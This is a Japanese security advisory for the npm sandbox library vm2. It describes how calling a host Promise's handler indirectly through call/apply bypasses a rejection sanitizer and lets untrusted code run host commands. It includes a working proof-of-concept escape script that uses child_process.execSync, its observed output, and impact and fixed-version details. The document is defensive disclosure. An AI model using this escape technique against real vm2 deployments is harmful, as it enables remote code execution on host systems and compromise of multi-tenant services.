vm2: GHSA-m283-3h24-438v の修正における迂回により、ホスト環境でのリモートコード実行(RCE)が可能になる。
## 概要
vm2によって実行される信頼できないJavaScriptコードが、埋め込み側が公開するホスト側のPromiseが拒否された場合に、サンドボックスから脱出し、ホスト側のNode.jsプロセスで任意のコマンドを実行する可能性がある。これは、GHSA-m283-3h24-438vに対する不完全な修正である。アドバイザリで示されている、機能を持つ拒否の再構築は、この直接的なPromiseハンドラパスのみを対象としており、そのため、call/applyによる間接参照の迂回によって、導入された保護が回避される。ブリッジは、サンドボックスのコールバックが実行される前に、ホスト側の拒否値のサニタイズを行うが、`lib/bridge.js:1624`におけるゲートのチェックは、直接呼び出しのターゲットのみを検証する。`Function.prototype.call`による間接参照を使用して拒否ハンドラを登録すると、インターセプトされるターゲットがホスト側の`Function.prototype.call`になるため、サニタイザーは実行されず、生のホストエラーがサンドボックス(`lib/bridge.js:1639`)に到達する。この際、ホスト側の参照を自身のプロパティに持つ再構築が行われない(`lib/setup-sandbox.js:2104`)。したがって、自身のプロパティとして強力なホストオブジェクトを参照する拒否エラー(例えば、`err.detail = process`)は、完全に機能するプロキシとしてサンドボックスのコードに到達し、`e.detail.mainModule.require('child_process').execSync(...)`がホストの権限で実行される。`.apply`形式や、ネストされた`call.call`も同様の動作をする。
## 実証コード
`poc.js`として保存し、`node poc.js`を実行する。
```js
const { VM } = require('vm2');
const vm = new VM({ sandbox: {
fetchUser: async () => {
const err = new Error('db connection failed');
err.detail = process; // 埋め込み側が添付したホスト側の参照
throw err;
},
}});
vm.run(`
const p = fetchUser(1); // ホスト側のPromiseのプロキシ
p.then.call(p, undefined, (e) => { // .callによる間接参照はサニタイザーを回避する
e.detail.mainModule.require('child_process')
.execSync('echo vm2-escape-proof > /tmp/poc.proof');
});
`);
```
### 観察された出力
```shell
$ cat /tmp/poc.proof
vm2-escape-proof
```
同じコールバック関数を直接登録する場合、`p.then(undefined, cb)`を使用すると、`detail`情報が削除され、コマンドが実行されません。また、`bind`や`Reflect.apply`を使用する形式も同様に脆弱性があり、`call`や`apply`の仕組みを悪用する攻撃に限定されます。
## 影響
vm2を使用して攻撃者が制御するコードを実行し、ホスト環境のPromiseをサンドボックスに公開するすべての環境が影響を受けます。具体的には、`sandbox`オプションを通じてブリッジされた非同期ホスト関数、またはNodeVM外部モジュールの非同期メソッドなどが該当します。もし、そのPromiseが、ホストオブジェクトを参照する非プリミティブなプロパティを持つErrorと共に拒否された場合、vm2のコードベース自体がNodeライブラリの標準的な動作として記述している診断パターン(`lib/setup-sandbox.js:1877`)がトリガーされ、ホストプロセスのホストアカウントの権限で任意のコマンドが実行されます。これには、ファイルの読み書き、プロセスの起動、ネットワークアクセスなどが含まれます。マルチテナント環境で信頼できないコードを実行している場合、一つの攻撃によってワーカープロセスが侵害され、そのプロセスが提供するすべてのテナントに影響が及ぶ可能性があります。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョン = 3.11.6、修正されたバージョン = 3.11.7